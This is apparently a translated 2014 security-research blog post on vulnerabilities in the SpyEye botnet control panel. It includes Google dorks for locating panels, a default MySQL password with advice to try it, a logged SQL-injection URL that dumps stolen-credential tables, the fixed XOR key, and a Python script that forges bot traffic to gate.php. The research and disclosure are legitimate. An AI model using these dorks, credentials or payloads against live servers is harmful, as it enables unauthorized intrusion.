Jump ESP, jump!: 攻击金融恶意软件僵尸网络面板 - SpyEye
这是“攻击金融恶意软件僵尸网络面板”系列的第二篇博客文章。在研究了Zeus之后,我的注意力转向了另一个古老(且已消亡)的僵尸网络SpyEye。从IT安全的角度来看,SpyEye与Zeus存在许多相同的漏洞。
以下报告基于SpyEye 1.3.45版本,这是一个旧版本,如果我们幸运的话,整个SpyEye分支很快就会消亡。
查找SpyEye C&C服务器面板的Google搜索技巧
- 如果img目录被索引,很容易找到,例如搜索:
inurl:b-ftpbackconnect.png
- 如果安装目录被索引,同样容易,例如搜索:
inurl:spylogo.png
- 此外,如果你找到一个登录屏幕,检查css文件(style.css),如果看到
#frm_viewlogs、#frm_stat、#frm_botsmon_country、#frm_botstat、#frm_gtaskloader等内容,可以确定你找到了它
- 否则,最好不要通过Google搜索,而是获取一个SpyEye样本并进行分析
控制面板登录界面如下,并不复杂:
最棒的部分是你不需要猜测管理员的用户名;)
这是一个典型的控制面板外观:
黑掉这个星球!:)
发现的无聊漏洞(警告,几乎是从Zeus博客文章复制过来的)
- 明文HTTP登录:可以通过中间人攻击嗅探登录密码,或窃取会话cookie
- 无密码策略:管理员可以设置非常弱的密码
- 无防暴力破解机制:可以尝试猜测管理员密码。没有默认用户名,因为没有用户名处理!
- 启用密码自动完成:无聊
- 会话cookie缺少HttpOnly标志:与XSS结合时很有趣
- 无CSRF保护:例如,可以上传新的exe、bin文件,开启/关闭插件:-( 无聊。此外,文件扩展名检查可以绕过,但文件存储在数据库中,因此这次无法上传PHP shell。如果检查以下代码,可以看到即使检查了文件扩展名和类型,并显示错误,但上传过程仍继续。即使错误会停止上传过程,也可以通过设置无效的
$uptype来欺骗检查。干得好……
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
if ($_FILES['file']['tmp_name'] && ($_FILES['file']['size'] > 0))
{
$outstr = "<br>";
set_time_limit(0);
$filename = str_replace(" ","_",$_FILES['file']['name']);
$ext = substr($filename, strrpos($filename, '.')+1);
if( $ext==='bin' && $uptype!=='config' ) $outstr .= "<font class='error'>Bad CONFIG extension!</font><br>";
if( $ext==='exe' && $uptype!=='body' && $uptype!=='exe' ) $outstr .= "<font class='error'>Bad extension!</font><br>";
switch( $uptype )
{
case 'body': $ext = 'b'; break;
case 'config': $ext = 'c'; break;
case 'exe': $ext = 'e'; break;
default: $ext = 'e';
}
$_SESSION['file_ext'] = $ext;
if( isset($_POST['bots']) && trim($_POST['bots']) !== '')
{
$bots = explode(' ', trim($_POST['bots']));
//writelog("debug.log", trim($_POST['bots']));
$filename .= "_".(LastFileId()+1);
}
if( FileExist($filename) ) $filename .= LastFileId();
$tmpName = $_FILES['file']['tmp_name'];
$fileSize = $_FILES['file']['size'];
$fileType = $_FILES['file']['type'];
## reading all file for calculating hash
$fp = fopen($tmpName, 'r';
|
- 明文密码存储:MySQL密码以明文形式存储在php文件中。此外,表单面板的登录密码也以明文形式存储。
- MD5密码:MySQL中存储的密码是MD5密码。没有PBKDF2、bcrypt、scrypt、盐值等。就是MD5。只需看看登录检查的纯粹简单性,干得漂亮!
1
|
$query = "SELECT * FROM users_t WHERE uPswd='".md5($pswd)."'";
|
SQL注入
SpyEye有丰富的SQL注入历史。详情参见这里、这里、这里、视频这里和视频这里。
需要重点强调的是,大多数易受攻击的功能可以在没有任何身份验证的情况下访问,因为这些PHP文件在开头缺少用户身份验证。
但如果C&C服务器所有者通过此漏洞被攻击,向开发者抱怨并不是一个好主意,因为在仔细阅读安装指南后,可以看到:
“用于在收集器数据库中搜索信息的是一个PHP接口,即formgrabber管理面板。管理面板不打算在服务器上找到。这是一个客户端应用程序。”
并且有很多理由不将formgrabber管理面板安装在任何可互联网访问的服务器上。但这一事实导致了另一个可能的漏洞。该控制面板的用户被允许远程登录到MySQL数据库,并且安装指南提供了相当好的密码以供重用。我的意思是,它看起来相当安全,没有理由不使用它。
1
|
CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';
|
下次你找到一个SpyEye面板,并且可以连接到MySQL数据库时,尝试这个密码是值得的。
不幸的是,该用户的默认权限不足以写入文件(select into outfile):
1
|
Access denied for user 'frmcpviewer' (using password: YES)
|
我还对这个SQL注入漏洞进行了一个小实验。我设置了一个真实的SpyEye僵尸网络面板,创建了恶意软件安装二进制文件(droppers),并将droppers发送给AV公司。随着越来越多的沙箱连接到我的服务器,有人开始利用我服务器上的SQL注入漏洞!
1
|
63.217.168.90 - - [16/Jun/2014:04:43:00 -0500] "GET /form/frm_boa-grabber_sub.php?bot_guid=&lm=3&dt=%20where%201=2%20union%20select%20@a:=1%20from%20rep1%20where%20@a%20is%20null%20union%20select%20@a:=%20@a%20%2b1%20union%20select%20concat(id,char(1,3,3,7),bot_guid,char(1,3,3,7),process_name,char(1,3,3,7),hooked_func,char(1,3,3,7),url,char(1,3,3,7),func_data)%20from%20rep2_20140610%20where%20@a=3%23 HTTP/1.1" 200 508 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"
|
尽管查询没有向攻击者返回任何有意义的数据(仅从沙箱收集的数据),但这引发了一些法律问题。
哪个公司/组织有权攻击我的服务器?
- 警察(有搜查令)
- 军队(如果我们处于战争状态)
- 间谍机构(总是/从不,选择你喜欢的答案)
- CERT组织?
但是,AV公司或安全研究公司是否有合法权利攻击我的服务器?我认为不是……最成问题的是,当他们(未经授权)黑客服务器,并以“情报服务”的名义出售被盗信息时。这是什么,狂野的西部吗?
SQL注入明显针对被盗登录凭据的内容。如果这不是AV公司,而是攻击者,他们是如何获得SpyEye dropper的?如果是AV公司,他们为什么要窃取被盗凭据?他们会免费通知互联网银行所有者关于被盗凭据吗?还是会为此收费?
不要误会,我不想保护罪犯,但这显然是法律上的灰色地带。从道德的角度来看,我同意黑客罪犯的服务器。正如你所看到的,整篇文章都是关于披露这些僵尸网络面板中的漏洞。但从法律的角度来看,这有些棘手……我真的感兴趣其他人的意见,所以热烈欢迎评论。
顺便说一下,我感兴趣的是“攻击者”如何找到SpyEye表单目录?简单,他们通过暴力破解,使用一个约43,000个条目的单词列表。
(无用的)跨站脚本
尽管SpyEye面板的部分内容易受XSS攻击,但你不太可能在服务器上找到这些组件,因为这些代码是安装过程的一部分,并且如果找到有效的安装,安装程序将无法运行。在这种情况下,你还需要数据库密码来触发漏洞……
会话处理
这是一个有趣的部分。注销按钮仅在服务器端使会话无效,而不是在客户端。但如果你考虑到登录过程从不重新生成会话cookie(即会话固定),你可以看到无论管理员登录应用程序多少次,会话cookie都保持不变(直到管理员关闭浏览器)。因此,如果你找到一个过去有效但当前无效的会话cookie,有可能这个cookie在未来会有效……
二进制服务器
SpyEye服务器的某些部分涉及在服务器上运行一个二进制服务器组件,以收集表单数据。对此组件(称为sec)进行模糊测试以寻找漏洞会很有趣。
日志文件泄露
如果在SQL注入部分提到的表单面板安装在服务器上,值得访问<form_dir>/logs/error.log文件,你可能会看到webroot文件夹的路径、管理员的IP地址等。
阅读代码
有时阅读代码,你可以找到一些代码片段,这些片段很难用清醒的头脑理解:
1
2
3
4
5
6
7
8
9
10
11
|
$content = fread($fp, filesize($tmpName));
if ( $uptype === 'config' )
$md5 = GetCRC32($content);
else $md5 = md5($content);
....
<script>
if (navigator.userAgent.indexOf("Mozilla/4.0") != -1) {
alert("Your browser is not support yet. Please, use another (FireFox, Opera, Safari)");
document.getElementById("div_main").innerHTML = "<font class=\'error\'>ChAnGE YOuR BRoWsEr! Dont use BUGGED Microsoft products!</font>";
}
</script>
|
解密SpyEye通信
事实证明,恶意软件与C&C服务器之间的通信并不复杂(Zeus在这方面做得更好,因为RC4密钥流是从僵尸网络密码生成的)。
1
2
3
4
5
6
7
8
9
10
|
function DeCode($content)
{
$res = '';
for($i = 0; $i < strlen($content); $i++)
{
$num = ord($content[$i]);
if( $num != 219) $res .= chr($num^219);
}
return $res;
}
|
固定的XOR密钥,再次,干得漂亮……
这意味着很容易创建一个脚本,可以与SpyEye服务器通信。例如,这可以用于向SpyEye数据库填充垃圾数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import binascii
import requests
import httplib, urllib
def xor_str(a, b):
i = 0
xorred = ''
for i in range(len(a)):
xorred += chr(ord(a[i])^b)
return xorred
b64_data= "vK6yv+bt9er17O3r6vqPnoiPjZb2i5j6muvo6+rjmJ/9rb6p5urr6O/j/bK+5uP16/Xs7evq9ers7urv/bSo5u316vXs7evq/a6v5pq/trK1/bi4qbjm453j6uPv7Or9tr/u5um+uuvpve3p7eq/4+vsveLi7Lnqvrjr6ujs7rjt7rns/au3vOa5sre3srW8s7q2tr6p4Lm3tLiw4LmuvKm+q7Spr+C4uPu8qbq5ub6p4Li4vKm6ubm+qeC4qb6/sq+8qbq54LiuqK+0tri0tbW+uK+0qeC/v7So4L+1qLqrsuC+trqyt7ypurm5vqngvb24vqmvvKm6ubm+qeC9/aivuq/mtLW3srW+"
payload =xor_str (binascii.a2b_base64(b64_data), 219)
print ("the decrypted payload is: " + payload)
params = (binascii.b2a_base64(xor_str(payload,219)))
payload = {'data': params}
r = requests.post("http://spyeye.localhost/spyeye/_cg/gate.php", data=payload)
|
故事的寓意?
罪犯生产的代码与世界其他地区一样糟糕,多亏了这一点,一些恶意软件操作者被抓住并现在关在监狱里。而法律总是落后于现实。
发布者:Z
时间:2014年8月22日下午7:09
标签:botnet, spyeye, sql injection, sqli